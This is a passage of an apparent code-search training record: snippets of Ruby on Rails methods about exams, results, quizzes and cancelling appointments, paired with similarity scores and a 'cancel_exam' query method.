exam, student_id: id).take\n end", "def result_input\n @employees = Employee.find(:all,:conditions=>[\"company_id=?\",current_user.company_id],:order=>\"team\")\n @results = Result.find(:all,:conditions=>[\"company_id=?\",current_user.company_id],:order=>\"sort\").map {|r| [r.name, r.id]}\n end", "def display_results\n @score = 0\n @questions.each do |number, question|\n puts \"\"\n puts \"Question #{number}: #{question}\"\n puts \"\"\n puts \"Your answer: #{@user_answers[number]}\"\n gets\n puts \"Actual answer: #{@actual_answers[number]}\"\n puts \"\"\n score_rescue\n puts \"\"\n end\n end", "def arresult\n write_report(0x60, '$arresult?')\n read_multi.map { |record| ar(record) }.compact\n end", "def index\n @introexams = Introexam.all\n end", "def results\n\t\t\tArray(result)\n\t\tend", "def result\n if params.dig(:assessment, :type).present? && params.dig(:assessment, :type_id).present?\n type = params[:assessment][:type].camelize.constantize.where(id: params[:assessment][:type_id]).first rescue ''\n if type.present?\n all_questions = fetch_all_questions(type)\n total_qusts_count = all_questions.count \n if total_qusts_count > 0\n assessment_questions = Assessment.fetch_assessment_questions(all_questions.ids, current_user.id)\n result = {\n correct_answers: ((assessment_questions.where(is_correct: 'Y').count*100)/total_qusts_count),\n wrong_answers: ((assessment_questions.where(is_correct: 'N').count*100)/total_qusts_count),\n skipped_questions: ((assessment_questions.where(is_skipped: 'Y').count*100)/total_qusts_count) , \n unseen_questions: ((total_qusts_count-assessment_questions.count)*100)/total_qusts_count\n }\n render json: result\n else\n render json: {'type': 'No data found for selected type'}\n end\n else\n render json: {'type': 'Invalid selection of type or type id'}\n end\n else\n render json: {'Input': 'Invalid inputs'}\n end\n end", "def index\n @exams = Exam.all\n end", "def parse_questions(result)\n parse_type(result, \"question\")\n end", "def answers\n [].tap do |a|\n a << teaching_maths_or_physics\n a << current_school\n a << initial_teacher_training_subject\n a << initial_teacher_training_subject_specialism if eligibility.initial_teacher_training_subject_specialism.present?\n a << has_uk_maths_or_physics_degree if eligibility.has_uk_maths_or_physics_degree.present?\n a << qts_award_year\n a << employed_as_supply_teacher\n a << has_entire_term_contract if eligibility.employed_as_supply_teacher?\n a << employed_directly if eligibility.employed_as_supply_teacher?\n a << disciplinary_action\n a << formal_performance_action\n end\n end", "def result\n \n if not self.verification_id.nil?\n verification = Diagnostics::Verification.find(self.verification_id)\n assoc_verification = self.exam.scenario.scenarios_verifications.find_by_verification_id(self.verification_id) rescue nil\n message = ((assoc_verification.nil? or assoc_verification.result.empty?) ? verification.result : assoc_verification.result)\n \n elsif not self.identification_id.nil?\n identification = Diagnostics::Identification.find(self.identification_id)\n assoc_identification = self.exam.scenario.scenarios_identifications.find_by_identification_id(self.identification_id) rescue nil\n message = ((assoc_identification.nil? or assoc_identification.result.empty?) ? identification.result : assoc_identification.result)\n \n elsif not self.rectification.nil?\n rectification = Diagnostics::Rectification.find(self.rectification_id)\n assoc_rectification = self.exam.scenario.scenarios_rectifications.find_by_rectification_id(self.rectification_id) rescue nil\n message = ((assoc_rectification.nil? or assoc_rectification.result.empty?) ? rectification.result : assoc_rectification.result)\n \n end\n \n message\n end", "def result\n end", "def exam\n if @errors.nil?\n redirect_to exam_score_exam_path(@exam)\n else\n @students = []\n students ||= @exam.exam_group.batch.students.all\n @students = @exam.select_subject(@students, students, @exam)\n @exam_grade ||= @exam.exam_group.batch.grading_levels.all\n render 'exam_score'\n end\n end", "def select_exam\n end", "def index\n @random_exams = RandomExam.all\n end", "def publish_result\n @placement_exam = PlacementExam.all\n end", "def result \n @result\n end", "def result\n\t\t@result\n\tend", "def index\n @my_exams = MyExam.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @my_exams }\n end\n end", "def exams_info\n averege_scores = 0\n exams_accounted_scores = 0\n total_views = 0\n self.exams.each do |exam|\n total_views = total_views + exam.views\n\n if exam.feedback_avarage >= 0\n averege_scores = averege_scores + exam.feedback_avarage\n exams_accounted_scores = exams_accounted_scores + 1\n end\n end\n\n if exams_accounted_scores > 0\n averege_scores = averege_scores / exams_accounted_scores\n end\n\n return {averege_scores: averege_scores, total_views: total_views}\n end", "def exam_def\n #este no debería de ir aquí pero marca error al intentarlo hacer en otro controlador\n #parece que una vez que hago un get en este controlador, ya no puedo cambiarlo.\n #por lo tanto los queries los voy a hacer aquí\n hash = params[:hash]\n exam_name = params[:exam_name]\n number_of_attempts = params[:number_of_attempts]\n creationYear = params[:creationYear].to_i\n creationMonth = params[:creationMonth].to_i\n creationDay = params[:creationDay].to_i\n creationHour = params[:creationHour].to_i\n creationMinute = params[:creationMinute].to_i\n startYear = params[:startYear].to_i\n startMonth = params[:startMonth].to_i\n startDay = params[:startDay].to_i\n startHour = params[:startHour].to_i\n startMinute = params[:startMinute].to_i\n endYear = params[:endYear].to_i\n endMonth = params[:endMonth].to_i\n endDay = params[:endDay].to_i\n endHour = params[:endHour].to_i\n endMinute = params[:endMinute].to_i\n\n timeZone = \"Monterrey\"\n\n user = User.find_by_id session[:user_id]\n master_exam = MasterExam.create(\n attempts: number_of_attempts,\n name: exam_name,\n dateCreation: Time.strptime(\"#{creationYear}-#{creationMonth}-#{creationDay} #{creationHour}:#{creationMinute}\", '%Y-%m-%d %H:%M').in_time_zone(timeZone),\n startDate: Time.strptime(\"#{startYear}-#{startMonth}-#{startDay} #{startHour}:#{startMinute}\", '%Y-%m-%d %H:%M').in_time_zone(timeZone),\n finishDate: Time.strptime(\"#{endYear}-#{endMonth}-#{endDay} #{endHour}:#{endMinute}\", '%Y-%m-%d %H:%M').in_time_zone(timeZone),\n user: user\n )\n \n hash.each_with_index do |(key, value), index|\n ExamDefinition.create( \n master_question: MasterQuestion.find_by_id( hash[key]['master_question_id'].to_i ),\n master_exam: MasterExam.find_by_id(master_exam.id),\n questionNum: index+1, \n weight: hash[key]['value'].to_f\n )\n end\n\n if check_prof\n flash[:notice] = \"Examen agregado exitosamente\"\n else\n flash[:notice] = \"Ejercicio creado exitosamente\"\n end\n\n respond_to do |format|\n format.json { render json: hash.to_json }\n end\n\n\tend", "def index\n @exam_sets = ExamSet.all\n end", "def display_result\n @company = Company.find(params[:id])\n @placement_exam = PlacementExam.find(params[:p_id])\n @student_score = StudentScore.where(placement_exams_id: @placement_exam)\n end", "def verify_result(test_data)\n verify_values_match(test_data[UseOfCollections::RESULT.name], element_value(result_text_area))\n end", "def results\n @results\n end", "def result\n\n end", "def helper\n \"Display the list of results generated by analysis modules.\"\n end", "def answers\n [].tap do |a|\n a << qts_award_year\n a << claim_school\n a << current_school\n a << subjects_taught\n a << leadership_position\n a << mostly_performed_leadership_duties if eligibility.had_leadership_position?\n a << student_loan_amount\n end\n end", "def examinar(*resp)\n cabecera\n for i in 1..@numeroPreguntas\n puts mostrarPregunta(i)\n input(i,resp[i-1])\n end\n return notaFinal\n end", "def display_results\r\n raise \"Not implemented\"\r\n end", "def result(exp)\n @sparql.query(\"#{PREFIX} \n SELECT ?result \n WHERE{ \n \\<#{exp}\\> a genetox:Assay;genetox:hasResult ?res . ?res rdf:value ?result .}\")\n end", "def print_result(result)\n puts result.solutions\n result.fragments.each do |fragment|\n puts fragment\n end\n end", "def index\n @first_exams = FirstExam.all\n end", "def set_exam_result_item\n @exam_result_item = ExamResultItem.find(params[:id])\n end", "def evaluate\n response = Quiz.find(params[:quiz_id]).evaluate(params[:questions], current_user)\n @answers = response[:answers]\n @nota = response[:grade]\n\n respond_to do |format|\n format.html { render 'evaluate' }\n end\n end", "def results\n# not_observed, no_relation, shows_progress, meets_standard, exceeds_standard\n# For Plan, Presentation, Activity, Assessment, Climate\n results = [[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0],[0,0,0,0,0]]\n \n # If application Complete (no section is nil)\n if (completed)\n (0..4).each do |i|\n results[0][i] += plan.planResults[i] \n results[1][i] += presentation.presentationResults[i] \n results[2][i] += activity.activityResults[i] \n results[3][i] += assessment.assessmentResults[i] \n results[4][i] += climate.climateResults[i]\n end\n end\n \n return results\n end", "def results\n raise NotImplementedError\n end", "def add_result name, res\n \n end", "def process_result(body)\n if body =~ RESULT_TITLE\n # this is a result\n units, place = $1, $2\n if body =~ EX_TEMP\n temp = $1\n out = if EXTMODE\n overview = ((m = EX_OVERVIEW.match(body)) ? m[1] : '?')\n wind_dir, wind_speed = ((m = EX_WIND.match(body)) ? m[1,2] : ['?','?'])\n humidity = ((m = EX_HUMIDITY.match(body)) ? m[1] : '?')\n pressure = ((m = EX_PRESSURE.match(body)) ? m[1] : '?')\n visibility = ((m = EX_VISIBILITY.match(body)) ? m[1] : '?')\n\n \"\\n#{place}\\n\" +\n \" Temp : #{temp} degrees #{units}\\n\" +\n \" Wind : #{wind_dir} (#{wind_speed} mph)\\n\" +\n \" Humidity (%) : #{humidity}\\n\" +\n \" Pressure (mB): #{pressure.chop}\\n\" +\n \" Visibility : #{visibility}\"\n else\n \"#{place} - #{temp} degrees #{units}\"\n end\n\n puts out\n else\n puts \"No data for #{place}\"\n end\n elsif body =~ MULTI_RESULT_TITLE \n # multiple or no result\n if body =~ NO_LOCS \n puts \"No locations matched '#{$1}'\"\n else\n a = collect_results(body) \n\n if a.length > 0\n unless n = AUTOSELECT\n puts \"Multiple results:\\n\"\n puts \" [0]\\tCancel\"\n a.each_with_index do |e,i|\n puts \" [#{i+1}]\\t#{e.first}\"\n end\n\n puts \" [A]\\tAll\\n\\n\"\n\n begin\n print \"Select (separate with spaces): \"\n n = STDIN.gets.chomp \n end until n =~ SELECT_INPUT \n end\n\n if n != '0' # 0 is cancel\n n.split(' ').inject([]) do |ary,i|\n if i.upcase == 'A'\n ary + a.map { |e| e.last }\n else\n ary << a[i.to_i - 1].last\n end\n end.each do |id|\n fetch_process(\"http://www.bbc.co.uk/weather/5day.shtml?#{id}\")\n end\n end\n else\n puts \"No usable results found\"\n end\n end\n else\n puts \"Unknown location\"\n end\nend", "def show\n @exam = Exam.find(params[:id])\n @service = ExamService.new(@exam)\n \n if (@exam.exam_state_id == ExamState.finished_id)\n render :partial => \"results\", :layout => \"application\"\n return\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @exam }\n end\n end", "def create\n @exam_result = ExamResult.new(exam_result_params)\n\n respond_to do |format|\n if @exam_result.save\n format.html { redirect_to @exam_result, notice: 'Exam result was successfully created.' }\n format.json { render :show, status: :created, location: @exam_result }\n else\n format.html { render :new }\n format.json { render json: @exam_result.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @exam_marks = ExamMark.all\n end", "def report_test_results(test_name, results)\n status = true\n message = \"\"\n for result in results\n # print (\"Status: \"+result[0].to_s+\"\\n\")\n status = (status && result[0])\n if (result[1].is_a?(Array))\n for m in result[1]\n message += m.to_s + \"\\n\\t\"\n end\n else\n message += result[1] + \"; \"\n end\n end\n\n report_test_result(test_name, status, message)\nend", "def index\n @exam_managements = ExamManagement.all\n end", "def collect_results(body)\n a = []\n body.scan(EX_RESULT) { |s| a << [$2, $1] }\n a\nend", "def list_results(**opt)\n # May be overridden by the subclass.\n end", "def parse_exam(exam)\n if exam[:finalized] != 'Y' && exam[:exam_type] == 'L'\n return nil\n end\n {\n exam_location: choose_cs_exam_location(exam),\n exam_date: parse_cs_exam_date(exam),\n exam_date_instructor: parse_cs_exam_date(exam, true),\n exam_time: parse_cs_exam_time(exam),\n exam_slot: parse_cs_exam_slot(exam),\n exam_type: exam[:exam_type],\n exception: exam[:exam_exception],\n finalized: exam[:finalized]\n }\n end", "def verify_result(test_data)\n verify_values_match(test_data[CoreUseOfCollectionsData::RESULT.name], element_value(result_text_area))\n end", "def index\n @exam_students = ExamStudent.all\n end", "def index\n @examinations = @training_class.examinations #Examination.all\n end", "def index\n @quiz_results = current_student.quiz_results\n @unfiltered_quizzes = current_student.classroom.teacher.quizzes\n @quizzes = Quiz.TakeableQuizzes(@unfiltered_quizzes, @quiz_results)\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "def make_result_info\n end", "def result(exp)\n @sparql.query(\"#{PREFIX} \n SELECT ?result \n FROM <ccris>\n WHERE{ \n \\<#{exp}\\> a ccris:Assay;ccris:hasResult ?res . ?res rdf:value ?result .}\")\n end", "def create\n\n @exam = Exam.new(exam_params)\n result=@exam.save\n @exam.add_questions_to_exam(@validated_question)\n respond_to do |format|\n if result\n format.html { redirect_to @exam, notice: \"已成功建立考试“#{@exam.name}.”\" }\n format.json { render :show, status: :created, location: @exam }\n else\n format.html { render :new }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def result\n @result\n end", "def show\n @student = Student.find(params[:id])\n\n @maths = \"\"\n @english = \"\"\n @results = @student.nfers.order(\"date_taken ASC\")\n @maths_results = []\n @english_results = []\n\n \n if @student.nfers?\n \t@results.each do |r|\n \t\tif r.subject == \"Maths\"\n \t\t\t@maths_results << r\n \t\t\t@maths << \"[\"\n \t\t\tdate_string = r.date_taken.strftime(\"%Y-%m-%d\")\n\t\t\t\t@maths << (Time.parse(date_string.to_s).utc.to_i*1000).to_s\n\t\t\t\t@maths << \",\"\n\t\t\t\t@maths << r.ss.to_s\n\t\t\t\t@maths << \"], \"\n \t\tend\n \t\tif r.subject == \"English\"\n \t\t\t@english_results << r\n \t\t\t@english << \"[\"\n \t\t\tdate_string = r.date_taken.strftime(\"%Y-%m-%d\")\n\t\t\t\t@english << (Time.parse(date_string.to_s).utc.to_i*1000).to_s\n\t\t\t\t@english << \",\"\n\t\t\t\t@english << r.ss.to_s\n\t\t\t\t@english << \"], \"\n \t\tend \t\n \tend\t\n end\n\n \n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @student }\n end\n end", "def index\n @test_results = TestResult.all\n end", "def results\n results = result_maker(RACER_RECORDS)\n total_time = total_time_maker(RACER_RECORDS)\n @view.display_results(results, total_time)\n end", "def result\n @result || :no_answer\n end", "def result\n @result || :no_answer\n end", "def user_answers_for(exam)\n exam_answer = self.custom_exam_answers.find_by(custom_exam: exam)\n exam_answer.user_answers if exam_answer\n end", "def get_results(test_id)\n if !(/\\A\\d+\\z/ === test_id.to_s)\n print \"ERROR: get_results called with non-numeric :test_id = '#{test_id}'\\n\"\n exit -1\n end\n uri = \"get_results/#{test_id}\"\n begin\n @all_results = @tr_con.send_get(uri)\n rescue Exception => ex\n print \"EXCEPTION occurred on TestRail API 'send_get(#{uri})':\\n\"\n print \"\\t#{ex.message}\\n\"\n print \"\\tFailed to retrieve list of results; exiting\\n\"\n exit -1\n end\n @all_results.each_with_index do |next_result,ndx_result|\n print ' '*14\n print \" result-%02d:\" % [ndx_result+1]\n print \" id=%-3d\" % [next_result['id']]\n print \" test_id=%d\" % [next_result['test_id']]\n print \" comment=%s\" % [next_result['comment']]\n print \" defects=%s\" % [next_result['defects']]\n print \"\\n\"\n end\n return\nend", "def show_results\n \"Correct answers: #{@correct_answers} out of #{NUMBER_OF_QUESTIONS}\\n\" \\\n \"You got #{@points} #{Sklonyator.sklonenie(@points, 'point', 'points', 'points')}\"\n end", "def question_results\n result = params[:result]\n @result = result\n game_id = params[:game_id]\n subject = params[:subject_title]\n @current_game = Game.find(game_id)\n @current_game.save!\n\n if @current_game.active? && @current_game.players_turn?(current_user.id)\n @current_game.game_stat.apply_question_result(subject, result)\n applied_result = current_user.apply_question_results(subject, result)\n check_question_result(applied_result)\n if @current_game.normal_round?\n @bonus = params[:bonus]\n @current_game.bonus = @bonus\n game_result = @current_game.apply_to_normal_round(subject, current_user.id, @result)\n if game_result == Game::TIE\n @current_game.update_attributes(game_status: Game::ACTIVE, bonus: Game::BONUS_FALSE)\n @current_game.save\n wager = @current_game.get_wagerable_trophies(current_user.id).first\n prize = @current_game.get_winnable_trophies(current_user.id).first\n @challenge = Challenge.create_challenge(@current_game.id, current_user.id, @current_game.opponent_id(current_user.id), wager, prize)\n @challenge.save\n redirect_to game_ask_question_path and return\n end\n if @current_game.finished?\n current_user.apply_game_result(@current_game.id)\n @current_game.opponent(current_user.id).apply_game_result(@current_game.id)\n notify_game_outcome(@current_game)\n back_to_index and return\n elsif @current_game.players_turn?(current_user.id)\n back_to_game(@current_game.id)\n else\n check_new_game\n back_to_index and return\n end\n elsif @current_game.challenge_round?\n @challenge = Challenge::get_ongoing_challenge_by_game(@current_game.id)\n if @challenge\n if @challenge.valid_challenge?\n challenge_result = @challenge.apply_question_result(current_user.id, result, @current_game.bonus)\n if challenge_result == Challenge::RESULT_OPPONENT_TURN\n @current_game.increase_turn_count\n @current_game.end_round(current_user.id)\n back_to_index and return\n elsif challenge_result == Challenge::RESULT_TIE && current_user.id == @challenge.opponent_id\n @current_game.bonus = Game::BONUS_TRUE\n @current_game.save!\n ask_another_question(@current_game.id)\n elsif challenge_result == Challenge::RESULT_WINNER\n @current_game.apply_challenge_results(challenge_result, @challenge.challenger_id, @challenge.winner_id, @challenge.wager, @challenge.prize)\n notify_challenge_outcome(@challenge)\n @current_game.end_challenge(@challenge)\n @current_game.increase_turn_count\n @current_game.end_round(current_user.id)\n if @current_game.finished?\n notify_game_outcome(@current_game)\n end\n back_to_index and return\n else\n ask_another_question(@current_game.id)\n end\n else\n redirect_to game_challenge_path(:game_id => @current_game.id)\n end\n else\n redirect_to game_challenge_path(:game_id => @current_game.id)\n end\n end\n else\n back_to_index\n end\n end", "def get_exam_attempts(user_id, course_id, exam_id)\r\n get(Path::USERS_COURSES_EXAMS_ATTEMPTS % [user_id, course_id, exam_id])\r\n end", "def index\n if current_user.admin?\n @exams = Exam.all\n else\n professional_list = Exam.where(user: @list).pluck(:id)\n user_list = Exam.where(user: current_user).pluck(:id)\n @exams = Exam.where(id: [professional_list, user_list].flatten)\n end\n end", "def results\n @impacts.inspect\n end", "def result\n case @type\n when :anime\n iter { |i| Jikan::AnimeResult.new(i) }\n when :manga\n iter { |i| Jikan::MangaResult.new(i) }\n when :character\n iter { |i| Jikan::CharacterResult.new(i) }\n when :person\n iter { |i| Jikan::PersonResult.new(i) }\n end\n end", "def display_result(result)\r\n puts result\r\n end", "def index\n arrResults = Array.new\n\n @q = Quiz.ransack(params[:q])\n @matches = @q.result\n\n @arrResults = @matches.to_a\n\n \t@quizzes = Quiz.all\n allusers = Array.new\n topusers = Array.new\n @allusers = User.order('score DESC')\n @topusers = @allusers.limit(5)\n end", "def result\n @data['result']\n end", "def index\n current_user = User.find(params[:user_id])\n role = current_user.role\n if role == \"doc\"\n @quizzes = []\n Quiz.all.each do |q|\n # Quiz.where({published: true}).each do |q|\n r = Result.where(quiz_id: q.id)\n if r.size != 0\n @quizzes << q.add_result_status(r.first.published)\n else \n @quizzes << q.add_result_status(false)\n end\n end\n else\n if params[\"status\"]\n quizzes = []\n u = User.find(params[:user_id])\n Quiz.where({published: true}).each do |q|\n if has_student(q.gropus, u)\n r = Result.where({user_id: current_user.id, quiz_id: q.id})\n if r.size != 0\n quizzes << q.add_result_status(r.first.published)\n end\n end\n end\n @quizzes = quizzes\n else\n @quizzes = Quiz.where({published: true})\n end\n end\n\n render json: @quizzes\n end", "def answer\n\t\tget_data\n\n\t\t@summary = @data[$randId]['news_summary']\n\t\t@c_answer = @data[$randId]['c_answer']\n\t\t@alt1 = @data[$randId]['alt1']\n\t\t@alt2 = @data[$randId]['alt2']\n\t\t@alt3 = @data[$randId]['alt3']\n\t\t@cat = @data[$randId]['category_id']\n\t\t@ans = params[:param1]\n\t\t@id = params[:param2]\n\t\t@url = @data[$randId]['news_url']\n\t\t@hex = @data[$randId]['category_hex_code']\n\n\t\tget_descriptions(@url)\n\n\t\t@title = @desc_data['title']\n\t\t@summary = @desc_data['desc']\n\t\t@image = @desc_data['image']\n\n\t\ttagstring = @data[$randId]['tag']\n\t\tunless tagstring.nil? || tagstring.empty?\n\t\t\t@tags = tagstring.split(\",\")\n\t\t\t@taglength = @tags.length\n\t\tend\n\tend" ]
[ "0.7414072", "0.68553007", "0.6782322", "0.669051", "0.65174335", "0.64520144", "0.63652766", "0.63248646", "0.6303901", "0.6285304", "0.62602276", "0.62182003", "0.6196837", "0.61287975", "0.6094099", "0.60848856", "0.6083606", "0.59941715", "0.59941715", "0.59879875", "0.59879875", "0.59879875", "0.5981036", "0.5971462", "0.5955586", "0.5925466", "0.58807355", "0.5859507", "0.58527046", "0.58396506", "0.5833943", "0.5827118", "0.58226776", "0.58216125", "0.5811159", "0.5811009", "0.57842445", "0.5775011", "0.5772326", "0.5771201", "0.57620245", "0.5756423", "0.57471186", "0.57454705", "0.5722646", "0.571812", "0.569964", "0.56875056", "0.5685261", "0.56732947", "0.5658878", "0.56544214", "0.5649908", "0.5649872", "0.5630428", "0.56293154", "0.5628884", "0.5628187", "0.5616082", "0.56109583", "0.56096697", "0.56091666", "0.5595808", "0.5592231", "0.55839413", "0.55684465", "0.5554111", "0.55488795", "0.5546472", "0.5546116", "0.55336165", "0.5521093", "0.55109537", "0.5509927", "0.5505811", "0.5505118", "0.54924864", "0.54868203", "0.54862636", "0.5480161", "0.547664", "0.5475091", "0.54745716", "0.5469464", "0.5468403", "0.54647124", "0.54647124", "0.54633826", "0.54605347", "0.5458535", "0.5454869", "0.54503334", "0.5442932", "0.54427856", "0.5442718", "0.5442621", "0.54415435", "0.54317826", "0.5430692", "0.5430004" ]
0.7052254
1
name: cancel_exam explanation: this method cancel of exam of enemamigo parameters: none return:redirect_to root_path
def cancel_exam exam = Exam.find(params[:exam_id]) assert(exam.kind_of?(Exam)) exam.destroy return redirect_to root_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cancel\n redirect_to root_url, flash[:alert] = \"Something went wrong.\"\n end", "def cancel_and_redirect\r\n redirect_back\r\n end", "def cancel\n redirect_to checkid_request.cancel_url\n end", "def cancel\n @ride = Ride.find_by_id(params[:ride])\n current_user.cancel!(@ride)\n redirect_to root_path\n end", "def cancel_request\n\t\tuser = current_user\n\n\t\tassignment = Assignment.find_by(request_id: params[:request_id])\n\t\tuser.accepteds.delete(assignment)\n\t\tpending_status = RequestStatus.find_by(description: \"pending accept\")\n\t\tpending_status.assignments << assignment\n\n\t\tredirect_back fallback_location: '/home'\n\tend", "def cancel\n end", "def cancel\n end", "def subject_cancel\n self.cancel_button.click\n end", "def cancel(*)\n super.tap do\n __debug_sim('USER has decided to withdraw the submission.')\n end\n end", "def cancel\n set_params\n show_translation\n end", "def cancel\n # Context is already cleared in before_action\n end", "def cancel_appointment(appointment)\n @appointment = appointment\n if which == 1\n mail to: @appointment.user.email, subject: \"Appointment cancel confirmation\"\n else\n mail to: @appointment.expert.email, subject: \"Appointment cancel confirmation\"\n end\n end", "def set_exam\n @exam = Exam.find(params[:id])\n redirect_to root_url, :alert => '项目已关闭' if @exam.closed? && !current_user.is_s_admin?\n rescue\n \tredirect_to root_url, :alert => '项目不存在'\n end", "def cancel\n appointment_service.put_cancel_appointment(cancel_params)\n head :no_content\n end", "def cancel\n redirect_to( default_path ) if params[:commit] == 'cancel'\n end", "def cancel\n flash[:notice] = \"Canceling accounts is not enabled.\"\n redirect_to root_path\n end", "def set_exam\n @exam=Exam.find(params[:exam_id]) \n redirect_to root_url, :alert => '项目已关闭' if @exam.closed? && !current_user.is_s_admin? \n rescue\n redirect_to root_url, :alert => '项目不存在'\n end", "def cancel\n @delegation = current_user.managed_delegations.find_by(token: params[:delegation_id])\n if @delegation.nil?\n flash[:alert] = 'You are not authorised to access this page'\n redirect_to delegations_path and return\n else\n @delegation.deactivate('manager')\n flash[:notice] = 'Confirmed! You no longer control the account of ' + @delegation.employee.full_identity\n redirect_to delegations_path and return\n end\n end", "def check_cancel_submit\n redirect_to matters_path if params[:cancel]\n end", "def cancel\n @result = :cancel\n $game_system.se_play($data_system.cancel_se)\n end", "def destroy\n unless @edit_or_delete_right\n redirect_to exams_url,notice:\"您无权删除别人编写的考试\"\n end\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to exams_url, notice: '成功删除考试.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exam.destroy\n respond_to do |format|\n format.html { redirect_to course_exams_url(@exam.course_id) }\n format.json { head :no_content }\n end\n end", "def ocancel\n @aorder=Aorder.find_by_id(params[:id])\n @aorder.iscanceled=true\n @aorder.ttmid=session[:user].id\n @aorder.save!\n redirect_to aorders_path\n end", "def cancel!\n Bumbleworks.dashboard.cancel_expression(@fei)\n end", "def command_cancel\r\n # Play decision SE\r\n $game_system.se_play($data_system.decision_se)\r\n # Switch to menu screen\r\n $scene = Scene_Menu.new(5)\r\n end", "def cancel_request\n if params.key?(:tutor_id) && params.key?(:student_id) && params.key?(:tutor_subject_id)\n pending_request = PendingTutorRequest.where('tutor_id = ? AND student_id = ? AND tutor_subject_id = ?',\n params[:tutor_id],\n params[:student_id],\n params[:tutor_subject_id]).first\n course = Course.find(TutorSubject.find(params[:tutor_subject_id]).course_id)\n else\n pending_request = PendingTutorRequest.find(params[:request_id])\n # Look into see if there is another way to do this.\n course = Course.find(TutorSubject.find(pending_request.tutor_subject_id).course_id)\n end\n\n pending_request.destroy\n course_code = course.course_prefix + course.course_code\n notifcation_params = { 'user_id' => params[:tutor_id],\n 'title' => 'Request Cencelled',\n 'body' => 'A request for ' + course_code + ' has been cancelled.',\n 'icon' => 'request_cancelled',\n 'color' => 'lightgrey',\n 'type' => 'cancel' }\n Notifications.send_notification(notifcation_params)\n\n head :ok\n end", "def cancel\n self.solved(:abort)\n end", "def cancel\n @candidate.cancel_registeration(@event)\n redirect_to(root_path , :notice => 'Your Registration has been Cancelled successfully!')\n end", "def cancel\n @service.context.post(@control_path, :action => 'cancel')\n self\n end", "def cancel; end", "def cancel; end", "def unauthorize_corrections\n if @contestproblem.in_recorrection?\n @contestproblem.corrected!\n flash[:success] = \"Les organisateurs ne peuvent plus modifier leurs corrections.\"\n end \n redirect_to @contestproblem\n end", "def destroy\n @exam = @question.exam\n @question.destroy\n redirect_to overview_exam_path(@exam), notice: _('Question was successfully updated.')\n\n end", "def cancel\r\n # @todo Emit a warning for attempts to cancel an action after it's been\r\n # executed\r\n @cancelled = true\r\n end", "def cancel\n frm.button(:value=>\"Cancel\", :index=>-1).click\n AssignmentsList.new(@browser)\n end", "def cancel!; end", "def cancel\n flash[:notice] = \"We're sorry you didn't buy :(. Please tell Sven at <a href='mailto:sven@paperboat.lu'>sven@paperboat</a> why you chose to cancel.\"\n redirect_to root_path\n end", "def cancel_edit\n\t\t@comparison = Comparison.find(params[:comparison_id])\n\t\t@comparison_measure = ComparisonMeasure.new\n\t\t@entry_container = \"measure_form_div\"\n\t\t@entry_partial = \"comparison_measures/form\"\n\t\t@editing=false\n\t\trender \"shared/saved\"\t\t\n\tend", "def cancel_appointment\n if @patient.appointments.length < 1\n puts \"You currently have no appointments\"\n sleep(2)\n else\n @prompt.select \"Which appointment would you like to cancel?\" do |menu|\n @patient.appointments.each do |appt|\n menu.choice appt.time, -> { appt.destroy } \n end\n menu.choice \"<Go Back>\", -> { appointment_system } #back\n end\n end\n @patient.reload\n appointment_system\n end", "def cancelar_hipoteca\n @hipotecada = false\n end", "def cancel\n frm.button(:value=>\"Cancel\").click\n AssignmentsList.new(@browser)\n end", "def cancel\n frm.button(:value=>\"Cancel\").click\n AssignmentsList.new(@browser)\n end", "def cancel\n frm.button(:value=>\"Cancel\").click\n AssignmentsList.new(@browser)\n end", "def cancel_cli\n generic_step(\"cancel\")\n end", "def cancel!\n # Context is already cleared in action_for_message\n end", "def destroy\n @exam = Exam.find(params[:id])\n @exam.destroy\n\n respond_to do |format|\n format.html { redirect_to(exams_url) }\n format.xml { head :ok }\n end\n end", "def cancel_tranzaction()\n\t\tself.tranzaction.reverse_completed_goals(self)\n\t\tself.tranzaction.disable_active_goals(self)\n\n\t\ttrue\n\tend", "def answer_exam\n if params[:year_exam] \n questions ||= Question.where(year: params[:year_exam])\n assert(questions.kind_of?(Question))\n else\n questions ||= Question.all\n assert(questions.kind_of?(Question))\n end\n\n if !questions.empty?\n auxiliar_exam ||= push_questions_auxiliar(questions)\n @exam = push_questions(auxiliar_exam)\n else\n redirect_to_back(select_exam_path)\n if params[:year_exam]\n flash[:danger] = t(:year_exam_not_found)\n else\n flash[:danger] = t(:exam_not_found)\n end\n end\n end", "def sub_cancel\n (@shift = find_params_id(Shift)) || return\n #only user can cancel his own sub request or admin can cancel anybody's sub request\n if request.delete? and (from_admin? or (@shift.user == get_user))\n #somehow @shift.sub.destroy shortcut does not work properly\n s = @shift.sub\n s.destroy\n @shift.save\n redirect_with_flash \"Sub request cancelled.\", :action => :index, :date => @shift.shift_date, :anchor => @shift.shift_date\n else\n redirect_with_flash 'Illegal URL call'\n end\n end", "def destroy\n @exam = Exam.find(params[:id])\n authorize! :delete, @exam\n @exam.destroy\n redirect_to exams_exam_group_path(@exam.exam_group)\n end", "def cancel\n @error = :cancelled\n end", "def canceladd\n @session['groupcluster']=nil\n @session['groupshop']=nil\n @session['groupkey']=nil\n render :update do |page|\n page.redirect_to url_for(:controller=>'machines', :action=>'list')\n end\n end", "def destroy\n appointment = current_user.appointments.find(params[:appointment_id])\n if current_user.type == 'expert'\n appointment.cancel_by_expert!\n else\n appointment.cancel_by_client!\n end\n\n redirect_to root_path\n end", "def destroy\r\n @exam.destroy\r\n redirect_to exams_url, notice: \"Exam was successfully destroyed.\"\r\n end", "def destroy\n @exam.destroy\n authorize @exam\n respond_to do |format|\n format.html { redirect_to exams_url }\n format.json { head :no_content }\n end\n end", "def cancel!(exerciseclass)\n \tself.class_bookings.find_by(exercise_class_id: exerciseclass.id).destroy\n \tend", "def cancel_appointment\n if @client.appointments.length < 1\n puts \"You currently have no appointments\"\n sleep(2)\n else\n @prompt.select \"Which appointment would you like to cancel?\" do |menu|\n @client.appointments.each do |appt|\n menu.choice appt.time, -> { appt.destroy } \n end\n menu.choice \"<Go Back>\", -> { 